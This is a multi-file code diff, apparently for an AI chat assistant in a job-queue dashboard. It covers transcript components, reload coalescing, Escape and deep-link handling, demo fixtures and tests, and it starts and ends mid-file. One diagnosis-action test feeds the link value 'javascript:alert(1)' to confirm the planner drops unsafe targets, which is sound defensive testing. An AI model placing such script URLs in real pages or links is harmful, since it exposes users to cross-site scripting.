const TRANSCRIPT_INSET_Y = "py-4";
const TURN_GAP = "space-y-4";
const TURN_BODY_GAP = "space-y-2";
const ROW_GAP = "gap-2";
const CHIP_GAP = "gap-1.5";
const SCROLLER =
"flex-1 overflow-y-auto scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control";
const SCROLL_FADE = "h-6 bg-linear-to-t from-background-bright to-transparent";
export type ChatRole = "user" | "assistant";
// True when an ancestor already applied the transcript inset.
const ChatInsetContext = createContext(false);
function ChatInsetProvider({ inset, children }: { inset: boolean; children: React.ReactNode }) {
return <ChatInsetContext.Provider value={inset}>{children}</ChatInsetContext.Provider>;
}
function useInsetClass(): string | undefined {
return useContext(ChatInsetContext) ? undefined : TRANSCRIPT_INSET_X;
}
// `contentRef` must stay on the padded column inside the scroller:
// `useTranscriptAutoScroll` walks up from it to find the scroller.
export function ChatTranscript({
children,
contentRef,
}: {
children: React.ReactNode;
contentRef?: Ref<HTMLDivElement>;
}) {
return (
<div className="relative flex min-h-0 flex-1 flex-col">
<div className={SCROLLER}>
<div ref={contentRef} className={cn(TRANSCRIPT_INSET_Y, TURN_GAP)}>
{children}
</div>
</div>
<div
aria-hidden
className={cn("pointer-events-none absolute inset-x-0 bottom-0", SCROLL_FADE)}
/>
</div>
);
}
export function ChatTurn({
role = "assistant",
bleed = false,
children,
}: {
role?: ChatRole;
bleed?: boolean;
children: React.ReactNode;
}) {
return (
<ChatInsetProvider inset={!bleed}>
<div
className={cn(
bleed ? undefined : TRANSCRIPT_INSET_X,
"min-w-0",
role === "user" ? "flex justify-end" : TURN_BODY_GAP
)}
>
{children}
</div>
</ChatInsetProvider>
);
}
export function ChatText({ role = "assistant", text }: { role?: ChatRole; text: string }) {
if (role === "user") {
return (
<div className="max-w-[80%] rounded-lg bg-background-raised px-4 py-2.5 text-sm text-text-bright">
<div className="whitespace-pre-wrap wrap-anywhere">{text}</div>
</div>
);
}
return (
<div className="streamdown-container min-w-0 font-sans text-sm font-normal text-text-dimmed wrap-anywhere">
<Suspense fallback={<span className="whitespace-pre-wrap">{text}</span>}>
<StreamdownRenderer>{text}</StreamdownRenderer>
</Suspense>
</div>
);
}
export function ChatCardSlot({ children }: { children: React.ReactNode }) {
return <div className="min-w-0">{children}</div>;
}
// The transcript's only `AgentSpinner`. Hosts keep it mounted for the whole turn
// and swap `children`; remounting restarts the animation.
export function ChatProgress({ children }: { children: React.ReactNode }) {
const insetClass = useInsetClass();
return (
<div className={cn(insetClass, "flex items-start text-sm text-text-dimmed", ROW_GAP)}>
{/* text-sm line box is 20px, the spinner 12px: 4px centres it on line one. */}
<span className="mt-1 shrink-0">
<AgentSpinner size={12} />
</span>
{children}
</div>
);
}
export function ChatToolRow({ children }: { children: React.ReactNode }) {
return <div className={cn("min-w-0", TURN_BODY_GAP)}>{children}</div>;
}
export function ChatNote({ children }: { children: React.ReactNode }) {
const insetClass = useInsetClass();
return (
<div
className={cn(
insetClass,
"rounded-md border border-dashed border-border-bright bg-background-bright/40 px-3 py-2"
)}
>
<span className="text-xs text-text-dimmed">{children}</span>
</div>
);
}
export function ChatStatusLine({
icon,
children,
}: {
icon?: React.ReactNode;
children: React.ReactNode;
}) {
return (
<div className={cn("flex items-start", ROW_GAP)}>
{icon}
<div className={cn("min-w-0", TURN_BODY_GAP)}>{children}</div>
</div>
);
}
const BLOCK_LINE_GAP = "space-y-1";
const BLOCK_INSET = "px-3 py-2.5";
export function ChatSystemBlock({
label,
icon,
children,
actions,
}: {
label: string;
icon?: React.ReactNode;
children: React.ReactNode;
actions?: React.ReactNode;
}) {
return (
<div
className={cn(
"min-w-0 rounded-md border border-border-bright bg-background-dimmed",
BLOCK_INSET,
TURN_BODY_GAP
)}
>
<div className={cn("flex items-center", CHIP_GAP)}>
{icon}
<span className="text-xxs font-medium uppercase tracking-wider text-text-dimmed">
{label}
</span>
</div>
<div className={cn("min-w-0", BLOCK_LINE_GAP)}>{children}</div>
{actions ? <ChatActionsRow>{actions}</ChatActionsRow> : null}
</div>
);
}
export function ChatActionsRow({ children }: { children: React.ReactNode }) {
return <div className="flex shrink-0 flex-wrap items-center gap-1">{children}</div>;
}
@@ -0,0 +1,107 @@
import { describe, expect, it } from "vitest";
import { createCoalescedReload } from "./coalesced-reload";
/** A run whose completion the test controls, recording the order it was started in. */
function controllable() {
const gates: Array<() => void> = [];
let started = 0;
const run = () => {
started++;
return new Promise<void>((resolve) => gates.push(resolve));
};
return {
run,
get started() {
return started;
},
finish(index: number) {
gates[index]!();
},
};
}
const settle = () => new Promise<void>((resolve) => setTimeout(resolve, 0));
describe("createCoalescedReload", () => {
it("does not resolve a mid-flight request with data the first run already fetched", async () => {
const c = controllable();
const reload = createCoalescedReload(c.run);
reload();
let late = false;
const lateRequest = reload().then(() => {
late = true;
});
c.finish(0);
await settle();
// The first run is done, but it started before the late request was made.
expect(late).toBe(false);
expect(c.started).toBe(2);
c.finish(1);
await settle();
await lateRequest;
expect(late).toBe(true);
});
it("queues at most one follow-up however many requests pile up", async () => {
const c = controllable();
const reload = createCoalescedReload(c.run);
reload();
const later = [reload(), reload(), reload()];
c.finish(0);
await settle();
expect(c.started).toBe(2);
c.finish(1);
await settle();
await Promise.all(later);
expect(c.started).toBe(2);
});
it("still serves the queued request when the run in front of it fails", async () => {
let started = 0;
const reload = createCoalescedReload(async () => {
started++;
if (started === 1) throw new Error("history request failed");
});
const first = reload().catch(() => {});
const second = reload();
await first;
await second;
expect(started).toBe(2);
});
it("joins the queued run when a request lands as the run in front of it settles", async () => {
const c = controllable();
const reload = createCoalescedReload(c.run);
const first = reload();
// Runs in the window between the first run settling and the queued one starting.
void first.then(() => {
void reload();
});
void reload();
c.finish(0);
await settle();
expect(c.started).toBe(2);
});
it("starts a fresh run once nothing is in flight", async () => {
const c = controllable();
const reload = createCoalescedReload(c.run);
const first = reload();
c.finish(0);
await first;
reload();
expect(c.started).toBe(2);
});
});
@@ -0,0 +1,33 @@
/**
* Coalesces reload requests without ever answering one with data older than it. Joining the
* in-flight run would resolve a reload asked for after a turn finished with the list fetched
* before it the new chat missing, the title still the placeholder. So a request that arrives
* mid-flight waits for a run started after it, and at most one such run is ever queued.
*/
export function createCoalescedReload(run: () => Promise<void>): () => Promise<void> {
let inFlight: Promise<void> | null = null;
let queued: Promise<void> | null = null;
const start = (): Promise<void> => {
const current = run().finally(() => {
if (inFlight === current) inFlight = null;
});
inFlight = current;
return current;
};
return () => {
// Queued first: `inFlight` is cleared one microtask before the queued run starts.
if (queued) return queued;
if (!inFlight) return start();
// Settles either way: a failed run must not strand the queued one.
const next = inFlight
.catch(() => {})
.then(() => {
queued = null;
return start();
});
queued = next;
return next;
};
}
@@ -0,0 +1,43 @@
import { readFileSync } from "node:fs";
import { join } from "node:path";
import { describe, expect, it } from "vitest";
import { composerEscapeAction } from "./composer-escape";
const COMPOSER = readFileSync(join(__dirname, "DashboardAgentComposer.tsx"), "utf8");
describe("Escape while the composer has focus", () => {
it("is kept by the composer on the first Escape with a draft, so the panel stays open", () => {
expect(composerEscapeAction("half a question about a failing run", true)).toBe("swallow");
});
it("lets a second consecutive Escape through, so the panel closes", () => {
expect(composerEscapeAction("half a question about a failing run", false)).toBe("pass");
});
it("guards the draft again once the guard is re-armed by typing", () => {
expect(composerEscapeAction("half a question, now longer", true)).toBe("swallow");
});
it("closes the panel on the first Escape when there is nothing to lose", () => {
expect(composerEscapeAction("", true)).toBe("pass");
});
it("reads whitespace as nothing to lose, matching what Send accepts", () => {
expect(composerEscapeAction(" \n ", true)).toBe("pass");
});
});
// Source-level checks: the guard's step is spent in the composer, not in the pure helper.
describe("the composer's Escape wiring", () => {
it("disarms the guard in the swallow branch, so the next Escape passes", () => {
expect(COMPOSER).toMatch(
/=== "swallow"\s*\)\s*\{\s*e\.preventDefault\(\);\s*escapeGuardArmed\.current = false;/
);
});
it("swallows an IME-cancelling Escape without spending the guard's step", () => {
expect(COMPOSER).toMatch(
/e\.key === "Escape" && e\.nativeEvent\.isComposing\s*\)\s*\{\s*e\.preventDefault\(\);\s*return;/
);
});
});
@@ -0,0 +1,11 @@
export type ComposerEscapeAction = "swallow" | "pass";
/**
* The panel closes on Escape unless a child has already prevented the event's default
* `defaultPrevented` is how a child vetoes the close. Escape is two-step while a draft
* exists: the first one is swallowed so the draft survives, a second consecutive one
* passes through and closes the panel. Anything else re-arms the guard.
*/
export function composerEscapeAction(draft: string, guardArmed: boolean): ComposerEscapeAction {
return draft.trim() !== "" && guardArmed ? "swallow" : "pass";
}
@@ -1,18 +1,33 @@
import { ChatBubbleLeftRightIcon, ChevronDoubleRightIcon } from "@heroicons/react/20/solid";
import { createContext, useContext } from "react";
import { cn } from "~/utils/cn";
import { Button } from "~/components/primitives/Buttons";
import { ShortcutKey } from "~/components/primitives/ShortcutKey";
import { SimpleTooltip } from "~/components/primitives/Tooltip";
import type { Shortcut } from "~/hooks/useShortcutKeys";
import { ASK_AGENT_LABEL } from "./agent-identity";
// Registered once, by `DashboardAgent`. The launcher only displays it.
export const TOGGLE_PANEL_SHORTCUT: Shortcut = {
modifiers: ["mod"],
key: "j",
// The composer holds focus while the panel is open, so the key must fire from
// inside a text field.
enabledOnInputElements: true,
// Chrome binds Cmd/Ctrl-J to Show Downloads.
preventDefault: true,
};
type DashboardAgentContextValue = {
open: boolean;
setOpen: (open: boolean) => void;
/** Sent as the first message of a new chat; with a chat open it only fills the composer. */
openWith: (text: string) => void;
};
const DashboardAgentContext = createContext<DashboardAgentContextValue | null>(null);
export const DashboardAgentProvider = DashboardAgentContext.Provider;
// Null outside the env layout (no provider) or when the agent is gated off, so
// the launcher self-hides everywhere it can't open.
// Null outside the env layout (no provider) or when the agent is gated off.
export function useDashboardAgent() {
return useContext(DashboardAgentContext);
}
@@ -24,25 +39,32 @@ export function DashboardAgentLauncher() {
}
const { open, setOpen } = agent;
if (open) {
return null;
}
return (
<button
type="button"
aria-label={open ? "Collapse chat" : "Open chat"}
onClick={() => setOpen(!open)}
className={cn(
"flex shrink-0 items-center gap-1.5 rounded-full border px-2.5 py-1 text-xs text-text-bright transition",
open
? "border-border-brighter bg-background-hover"
: "border-border-bright bg-background-bright hover:border-border-brighter"
)}
>
{open ? (
<ChevronDoubleRightIcon className="size-3.5 text-text-dimmed" />
) : (
<ChatBubbleLeftRightIcon className="size-3.5 text-indigo-500" />
)}
{open ? "Collapse" : "Chat"}
</button>
<SimpleTooltip
asChild
tabbable
disableHoverableContent
content={
<span className="flex items-center">
Open chat
<ShortcutKey shortcut={TOGGLE_PANEL_SHORTCUT} variant="medium" />
</span>
}
button={
<span className="relative inline-flex shrink-0">
<Button
variant="ask-trigger/small"
aria-label={ASK_AGENT_LABEL}
onClick={() => setOpen(true)}
>
{ASK_AGENT_LABEL}
</Button>
</span>
}
/>
);
}
@@ -0,0 +1,63 @@
import { describe, expect, it } from "vitest";
import { consumeDeepLinkQuestion } from "./dashboardAgentOpenRequest";
const NAMES = ["aiHelp"];
/**
* The reader is an effect over `useSearchParams`. Dropping the param is a navigation, so the
* effect can run again on the original params before it commits; without a record of what was
* already sent, the deep-linked question is asked twice.
*/
describe("consumeDeepLinkQuestion", () => {
const params = (search: string) => new URLSearchParams(search);
it("hands over the question the first time it sees it", () => {
expect(consumeDeepLinkQuestion(params("?aiHelp=why+is+it+slow"), NAMES, null)).toEqual({
question: "why is it slow",
sent: "why is it slow",
});
});
it("does not hand it over again while the param is still in the URL", () => {
const first = consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, null);
expect(first.question).toBe("why");
expect(consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, first.sent).question).toBeNull();
});
it("keeps the record until the param is gone, however many renders that takes", () => {
let sent: string | null = null;
let asked = 0;
for (let render = 0; render < 5; render++) {
const result = consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, sent);
sent = result.sent;
if (result.question !== null) asked++;
}
expect(asked).toBe(1);
});
it("forgets the question once the URL no longer carries it, so a later visit works", () => {
const first = consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, null);
const cleared = consumeDeepLinkQuestion(params(""), NAMES, first.sent);
expect(cleared).toEqual({ question: null, sent: null });
expect(consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, cleared.sent).question).toBe(
"why"
);
});
it("asks a different question that arrives before the first is dropped", () => {
const first = consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, null);
expect(consumeDeepLinkQuestion(params("?aiHelp=how"), NAMES, first.sent).question).toBe("how");
});
it("has nothing to ask when no watched param is present", () => {
expect(consumeDeepLinkQuestion(params("?other=x"), NAMES, null)).toEqual({
question: null,
sent: null,
});
expect(consumeDeepLinkQuestion(params("?aiHelp=why"), [], null).question).toBeNull();
});
it("ignores an empty question", () => {
expect(consumeDeepLinkQuestion(params("?aiHelp="), NAMES, null).question).toBeNull();
});
});
@@ -0,0 +1,104 @@
import { useEffect, useRef, useSyncExternalStore } from "react";
import { useSearchParams } from "@remix-run/react";
// Module-level bridge: `DashboardAgentProvider` is mounted by the environment layout, so
// callers above it cannot reach the agent through context.
export type DashboardAgentOpenRequest = {
/** Omitted just opens the panel. */
prompt?: string;
};
type Handler = (request: DashboardAgentOpenRequest) => void;
const handlers = new Set<Handler>();
const availabilityListeners = new Set<() => void>();
function notifyAvailability() {
for (const listener of availabilityListeners) listener();
}
/** Returns the unsubscribe. */
export function registerDashboardAgentHost(handler: Handler): () => void {
handlers.add(handler);
notifyAvailability();
return () => {
handlers.delete(handler);
notifyAvailability();
};
}
/** Returns false when no host is mounted. */
export function requestDashboardAgent(prompt?: string): boolean {
if (handlers.size === 0) return false;
for (const handler of handlers) handler({ prompt });
return true;
}
function subscribeToAvailability(listener: () => void): () => void {
availabilityListeners.add(listener);
return () => availabilityListeners.delete(listener);
}
export function useDashboardAgentAvailable(): boolean {
return useSyncExternalStore(
subscribeToAvailability,
() => handlers.size > 0,
// The host mounts client-side only, so the server snapshot is always unavailable.
() => false
);
}
/**
* The deep-link question still in the URL, or null when there is none left to ask. `sent` is the
* question already handed to the agent: `setSearchParams` only starts the navigation that drops
* the param, so every render until it commits sees the question again. Clearing `sent` once the
* param is gone lets the same question arrive a second time on a later visit.
*/
export function consumeDeepLinkQuestion(
params: URLSearchParams,
names: readonly string[],
sent: string | null
): { question: string | null; sent: string | null } {
const name = names.find((candidate) => params.get(candidate));
if (!name) return { question: null, sent: null };
const question = params.get(name)!;
if (question === sent) return { question: null, sent };
return { question, sent: question };
}
/** While `enabled` is false nothing is registered, so every entry point stays hidden. */
export function useDashboardAgentOpenRequests({
enabled,
openWith,
setOpen,
/** `agentDeepLinkParams` decides these; `aiHelp` is Ask AI's unless it cannot open. */
deepLinkParams,
}: {
enabled: boolean;
openWith: (text: string) => void;
setOpen: (open: boolean) => void;
deepLinkParams: readonly string[];
}) {
useEffect(() => {
if (!enabled) return;
return registerDashboardAgentHost(({ prompt }) => (prompt ? openWith(prompt) : setOpen(true)));
}, [enabled, openWith, setOpen]);
const [searchParams, setSearchParams] = useSearchParams();
const sent = useRef<string | null>(null);
useEffect(() => {
if (!enabled) return;
const { question, sent: nextSent } = consumeDeepLinkQuestion(
searchParams,
deepLinkParams,
sent.current
);
sent.current = nextSent;
if (question === null) return;
const next = new URLSearchParams(searchParams);
for (const name of deepLinkParams) next.delete(name);
setSearchParams(next, { replace: true, preventScrollReset: true });
openWith(question);
}, [enabled, searchParams, setSearchParams, openWith, deepLinkParams]);
}
@@ -0,0 +1,239 @@
// Inputs shared with `resolver.test.ts`.
import type {
AgentPageContext,
AgentPageSignal,
SuggestedPrompt,
} from "@internal/dashboard-agent-contracts";
import { SUGGESTED_PROMPT_CAP } from "@internal/dashboard-agent-contracts";
import { DEMO_WORLD, demoId } from "../ids";
export const demoFreshFailureSignal: AgentPageSignal = {
kind: "fresh_failure",
runId: DEMO_WORLD.failedRunId,
failedAt: "2026-07-27T10:13:41.000Z",
};
export const demoWaitingRunSignal: AgentPageSignal = {
kind: "waiting_run",
runId: DEMO_WORLD.waitingRunId,
queue: DEMO_WORLD.queue,
};
export const demoSlowRunSignal: AgentPageSignal = {
kind: "slow_run",
runId: DEMO_WORLD.slowRunId,
durationMs: 1_421_000,
baselineP95Ms: 183_000,
};
export const demoConcurrencySaturationSignal: AgentPageSignal = {
kind: "concurrency_saturation",
severity: "crit",
};
// Priority order.
export const demoSignalsByPriority: AgentPageSignal[] = [
demoFreshFailureSignal,
demoWaitingRunSignal,
demoSlowRunSignal,
demoConcurrencySaturationSignal,
];
export const demoFailedRunPageContext: AgentPageContext = {
page: {
kind: "run",
runId: DEMO_WORLD.failedRunId,
status: "Failed",
taskId: DEMO_WORLD.taskId,
queue: DEMO_WORLD.queue,
},
signals: [demoFreshFailureSignal],
};
export const demoWaitingRunPageContext: AgentPageContext = {
page: {
kind: "run",
runId: DEMO_WORLD.waitingRunId,
status: "Queued",
taskId: DEMO_WORLD.taskId,
queue: DEMO_WORLD.queue,
},
signals: [demoWaitingRunSignal, demoConcurrencySaturationSignal],
};
export const demoSlowRunPageContext: AgentPageContext = {
page: {
kind: "run",
runId: DEMO_WORLD.slowRunId,
status: "Executing",
taskId: DEMO_WORLD.slowTaskId,
},
signals: [demoSlowRunSignal],
};
export const demoRunsPageContext: AgentPageContext = {
page: { kind: "runs", filters: { statuses: ["COMPLETED_WITH_ERROR"], period: "24h" } },
signals: [demoFreshFailureSignal],
};
export const demoErrorPageContext: AgentPageContext = {
page: { kind: "error", fingerprint: DEMO_WORLD.errorFingerprint },
signals: [demoFreshFailureSignal],
};
export const demoQueuePageContext: AgentPageContext = {
page: { kind: "queue", name: DEMO_WORLD.queue, health: "crit" },
signals: [demoConcurrencySaturationSignal, demoWaitingRunSignal],
};
export const demoDeploymentPageContext: AgentPageContext = {
page: { kind: "deployment", version: DEMO_WORLD.deploymentVersion },
signals: [],
};
export const demoOtherPageContext: AgentPageContext = {
page: { kind: "other", path: "/orgs/demo/projects/demo/env/prod/settings" },
signals: [],
};
export const demoPageContexts = {
failedRun: demoFailedRunPageContext,
waitingRun: demoWaitingRunPageContext,
slowRun: demoSlowRunPageContext,
runs: demoRunsPageContext,
error: demoErrorPageContext,
queue: demoQueuePageContext,
deployment: demoDeploymentPageContext,
other: demoOtherPageContext,
} as const;
export type DemoPageContextKey = keyof typeof demoPageContexts;
const prompt = (
id: string,
label: string,
promptText: string,
source: SuggestedPrompt["source"]
): SuggestedPrompt => ({ id: demoId(`prompt-${id}`), label, prompt: promptText, source });
const DEFAULT_PROMPTS: SuggestedPrompt[] = [
prompt("what-can-you-do", "What can you help me with?", "What can you help me with?", "default"),
prompt("retries", "How do retries work?", "How do retries work in Trigger.dev?", "default"),
prompt(
"health",
"How's my environment?",
"Give me a health report for this environment.",
"default"
),
];
export const demoPromptSets: Record<DemoPageContextKey, SuggestedPrompt[]> = {
failedRun: [
prompt(
"investigate-failure",
"Why did this run fail?",
`Investigate why ${DEMO_WORLD.failedRunId} failed.`,
"promoted"
),
prompt(
"same-error",
"Is this happening to other runs?",
"How many other runs failed with this error in the last hour?",
"contextual"
),
DEFAULT_PROMPTS[1]!,
],
waitingRun: [
prompt(
"why-waiting",
"Why hasn't this started?",
`Why is ${DEMO_WORLD.waitingRunId} still queued?`,
"promoted"
),
prompt(
"backlog-drain",
"When will the backlog clear?",
`When will the ${DEMO_WORLD.queue} backlog drain?`,
"contextual"
),
DEFAULT_PROMPTS[2]!,
],
slowRun: [
prompt(
"why-slow",
"Why is this run slow?",
`Why is ${DEMO_WORLD.slowRunId} taking so long?`,
"promoted"
),
prompt(
"compare-baseline",
"Compare to a normal run",
`How does ${DEMO_WORLD.slowRunId} compare to a normal run of this task?`,
"contextual"
),
DEFAULT_PROMPTS[0]!,
],
runs: [
prompt(
"failure-pattern",
"What's failing most?",
"Which tasks are failing most in the last 24 hours?",
"promoted"
),
prompt(
"chart-failures",
"Chart the failures",
"Chart failed runs per hour by task over the last 24 hours.",
"contextual"
),
DEFAULT_PROMPTS[2]!,
],
error: [
prompt(
"explain-error",
"Explain this error",
"Explain this error and what usually causes it.",
"promoted"
),
DEFAULT_PROMPTS[1]!,
],
queue: [
prompt(
"why-saturated",
"Why is this queue backed up?",
`Why is ${DEMO_WORLD.queue} backed up?`,
"promoted"
),
prompt(
"raise-limit",
"Should I raise the limit?",
"Should I raise the concurrency limit on this queue?",
"contextual"
),
DEFAULT_PROMPTS[2]!,
],
deployment: [
prompt(
"deploy-diff",
"What changed in this deploy?",
"What changed in this deployment?",
"contextual"
),
...DEFAULT_PROMPTS.slice(0, 2),
],
other: DEFAULT_PROMPTS,
};
export const demoDismissedPromptIds: string[] = [];
export const demoPromptsAfterDismissal: SuggestedPrompt[] = demoPromptSets.failedRun
.filter((p) => !demoDismissedPromptIds.includes(p.id))
.slice(0, SUGGESTED_PROMPT_CAP);
export const demoPrompts = {
sets: demoPromptSets,
defaults: DEFAULT_PROMPTS,
dismissedIds: demoDismissedPromptIds,
afterDismissal: demoPromptsAfterDismissal,
cap: SUGGESTED_PROMPT_CAP,
} as const;
@@ -0,0 +1,228 @@
import type { ReportViewModel } from "~/presenters/v3/reports/report-view-model";
import { DEMO_WORLD } from "../ids";
const calm = (base: number, jitter: number) =>
Array.from({ length: 60 }, (_, i) => base + Math.round(Math.sin(i / 4) * jitter));
const ramp = (from: number, to: number) =>
Array.from({ length: 60 }, (_, i) => Math.round(from + ((to - from) * i) / 59));
export const demoHealthyReport: ReportViewModel = {
title: "health",
scope: "prod",
period: "last 1h",
baselineLabel: "vs your 7d normal",
generatedAt: "2026-07-27T10:15:00.000Z",
windowMinutes: 60,
summary: {
severity: "ok",
statements: [
{ findingType: "flow", severity: "ok" },
{ findingType: "execution", severity: "ok" },
{ findingType: "liveness", severity: "ok" },
],
},
findings: [
{
type: "flow",
severity: "ok",
reason: "healthy",
read: "starting_normally",
metricIds: ["start_latency_p95", "pending", "throughput"],
},
{
type: "execution",
severity: "ok",
reason: "healthy",
read: "runs_are_fine",
metricIds: ["failures", "dur_p95"],
},
{
type: "liveness",
severity: "ok",
reason: "fresh",
metricIds: ["liveness"],
},
],
metrics: [
{
id: "start_latency_p95",
value: 6_800,
unit: "ms",
aggregation: "p95",
normal: 7_000,
delta: { dir: "down", mult: 1 },
series: { points: calm(6_800, 400), kind: "measured" },
severity: "ok",
},
{
id: "pending",
value: 34,
unit: "count",
normal: 40,
delta: { dir: "down", mult: 1 },
series: { points: calm(36, 8), kind: "measured" },
severity: "ok",
},
{
id: "throughput",
value: 12,
unit: "perMin",
aggregation: "rate",
breakdown: { done: 842, triggered: 830 },
severity: "ok",
},
{
id: "failures",
value: 0.004,
unit: "ratio",
aggregation: "ratio",
normal: 0.005,
delta: { dir: "down", mult: 1 },
series: { points: calm(4, 2).map((n) => n / 1000), kind: "measured" },
severity: "ok",
},
{
id: "dur_p95",
value: 4_100,
unit: "ms",
aggregation: "p95",
normal: 4_000,
delta: { dir: "flat", mult: 1 },
severity: "ok",
},
{ id: "liveness", value: 21_000, unit: "ms", availability: "measured", severity: "ok" },
],
facts: { trustworthy: true, flowSource: "queue", pendingEstimated: false },
links: [],
footer: [{ code: "nothing_to_do" }],
};
export const demoDegradedReport: ReportViewModel = {
title: "health",
scope: "prod",
period: "last 1h",
baselineLabel: "vs your 7d normal",
generatedAt: "2026-07-27T10:15:00.000Z",
windowMinutes: 60,
summary: {
severity: "crit",
statements: [
{ findingType: "flow", severity: "crit" },
{ findingType: "execution", severity: "ok" },
{ findingType: "liveness", severity: "ok" },
],
},
findings: [
{
type: "flow",
severity: "crit",
reason: "env_limit_saturation",
read: "saturation_chain",
metricIds: ["concurrency", "pending", "start_latency_p95", "throughput"],
recommendation: { code: "raise_env_limit", link: "concurrency_docs" },
anomalyWindow: { minutes: 38, touchesEnd: true },
attribution: { dim: "queue", key: DEMO_WORLD.queue, share: 0.71, of: "pending" },
exclusions: [{ code: "not_your_code", evidence: { failures: 0.006 } }],
observations: [{ code: "not_workers_platform", evidence: { rate: 820 } }],
},
{
type: "execution",
severity: "ok",
reason: "healthy",
read: "not_a_code_problem",
metricIds: ["failures", "dur_p95"],
},
{ type: "liveness", severity: "ok", reason: "fresh", metricIds: ["liveness"] },
],
metrics: [
{
id: "start_latency_p95",
value: 43_000,
unit: "ms",
aggregation: "p95",
normal: 7_000,
delta: { dir: "up", mult: 6 },
series: { points: ramp(7_000, 43_000), kind: "measured" },
severity: "crit",
},
{
id: "pending",
value: 4_812,
unit: "count",
normal: 40,
delta: { dir: "up", mult: 120 },
series: { points: ramp(60, 4_812), kind: "measured" },
severity: "crit",
},
{
id: "throughput",
value: -180,
unit: "perMin",
aggregation: "rate",
breakdown: { done: 820, triggered: 1_000 },
severity: "warn",
},
{
id: "failures",
value: 0.006,
unit: "ratio",
aggregation: "ratio",
normal: 0.005,
delta: { dir: "up", mult: 1 },
series: { points: calm(6, 2).map((n) => n / 1000), kind: "measured" },
severity: "ok",
},
{
id: "dur_p95",
value: 4_200,
unit: "ms",
aggregation: "p95",
normal: 4_000,
delta: { dir: "flat", mult: 1 },
severity: "ok",
},
{
id: "concurrency",
value: 50,
unit: "count",
breakdown: { limit: 50 },
series: { points: ramp(28, 50), kind: "measured" },
annotation: { code: "pinned_minutes", value: 38 },
severity: "ok",
},
{
id: "triggered",
value: 1_000,
unit: "perMin",
normal: 840,
delta: { dir: "up", mult: 1 },
severity: "ok",
},
{ id: "liveness", value: 18_000, unit: "ms", availability: "measured", severity: "ok" },
],
facts: {
trustworthy: true,
flowSource: "queue",
pendingEstimated: false,
throughput: { donePerMin: 820, triggeredPerMin: 1_000 },
},
links: [
{
key: "concurrency_docs",
label: "Concurrency & limits",
url: "https://trigger.dev/docs/queue-concurrency",
},
{ key: "contact", label: "Contact us", url: "https://trigger.dev/contact" },
],
footer: [
{ code: "contact_us_raise_limit", link: "contact" },
{ code: "concurrency_docs", link: "concurrency_docs" },
{ code: "do_nothing_drains", value: 26.7 },
],
};
export const demoReports = {
healthy: demoHealthyReport,
degraded: demoDegradedReport,
} as const;
@@ -0,0 +1,23 @@
// Every id the demo layer produces contains "demo".
export const DEMO_ID_PREFIX = "demo:";
export function demoId(rest: string): string {
return `${DEMO_ID_PREFIX}${rest}`;
}
export const DEMO_WORLD = {
failedRunId: "run_demo0f2c91",
failedSpanId: "span_demoa41b",
waitingRunId: "run_demo7b41ad",
slowRunId: "run_democ0113e",
priorRunId: "run_demo4419bb",
taskId: "send-order-receipt",
slowTaskId: "generate-monthly-report",
queue: "demo-email-sends",
backlogQueue: "demo-backlog-drain",
errorFingerprint: "error_demo5a1c73",
deploymentVersion: "20260726.4-demo",
sourceSha: "demo1a2b3c4d5e6f70",
sourcePath: "src/trigger/sendOrderReceipt.ts",
reportKey: "health",
} as const;
@@ -0,0 +1,47 @@
import { describe, expect, it } from "vitest";
import { planDiagnosisActions } from "./diagnosis-actions";
const RUN_PATH = "/orgs/acme/projects/api/env/prod/runs/run_abc123";
const resolve = {
runPath: () => RUN_PATH,
docsUrl: (target: string) => (target.startsWith("https://") ? target : null),
};
// Org/project/env context is missing, so no run URL can be built.
const withoutContext = { ...resolve, runPath: () => null };
const viewRun = { kind: "view_run", target: "run_abc123", label: "View run" };
const docs = { kind: "docs", target: "https://trigger.dev/docs/errors", label: "Read the docs" };
describe("planDiagnosisActions", () => {
it("keeps a run action that resolves to a path", () => {
expect(planDiagnosisActions([viewRun], resolve)).toEqual([
{ kind: "view_run", label: "View run", to: RUN_PATH },
]);
});
it("drops a run action when the path can't be resolved", () => {
expect(planDiagnosisActions([viewRun], withoutContext)).toEqual([]);
});
it("drops only the unresolvable action, keeping the rest", () => {
expect(planDiagnosisActions([viewRun, docs], withoutContext)).toEqual([
{ kind: "docs", label: "Read the docs", to: docs.target },
]);
});
it("drops a run action whose target is not a run id", () => {
expect(planDiagnosisActions([{ ...viewRun, target: "the payments task" }], resolve)).toEqual(
[]
);
});
it("drops a docs action with an unsafe target", () => {
expect(planDiagnosisActions([{ ...docs, target: "javascript:alert(1)" }], resolve)).toEqual([]);
});
it("drops an action kind it does not know", () => {
expect(planDiagnosisActions([{ ...viewRun, kind: "replay_run" }], resolve)).toEqual([]);
});
});
@@ -0,0 +1,37 @@
import { isRunFriendlyId } from "./run-id";
export type DiagnosisActionInput = { kind: string; target: string; label: string };
export type PlannedDiagnosisAction = {
kind: "view_run" | "docs";
label: string;
to: string;
};
/**
* An action whose destination can't be resolved is dropped, never rendered as a
* button that does nothing.
*/
export function planDiagnosisActions(
actions: readonly DiagnosisActionInput[],
resolve: {
runPath: (runId: string) => string | null;
docsUrl: (target: string) => string | null;
}
): PlannedDiagnosisAction[] {
const planned: PlannedDiagnosisAction[] = [];
for (const action of actions) {
if (action.kind === "view_run" && isRunFriendlyId(action.target)) {
const to = resolve.runPath(action.target);
if (to) planned.push({ kind: "view_run", label: action.label, to });
continue;
}
if (action.kind === "docs") {
const to = resolve.docsUrl(action.target);
if (to) planned.push({ kind: "docs", label: action.label, to });
}
}
return planned;
}
@@ -0,0 +1,35 @@
import { readFileSync } from "node:fs";
import { describe, expect, it } from "vitest";
import { chatHistoryTriggerLabel } from "./header-labels";
describe("chatHistoryTriggerLabel", () => {
it("starts with the words on the button, so speech input can activate it", () => {
const title = "Why did my task retry?";
const label = chatHistoryTriggerLabel(title);
expect(label.startsWith(title)).toBe(true);
expect(label).toContain(title);
});
it("still says what the button does", () => {
expect(chatHistoryTriggerLabel("New chat").toLowerCase()).toContain("chat history");
});
it("falls back to the purpose when there is no title to read", () => {
expect(chatHistoryTriggerLabel("")).toBe("Chat history");
expect(chatHistoryTriggerLabel(" ")).toBe("Chat history");
});
});
/**
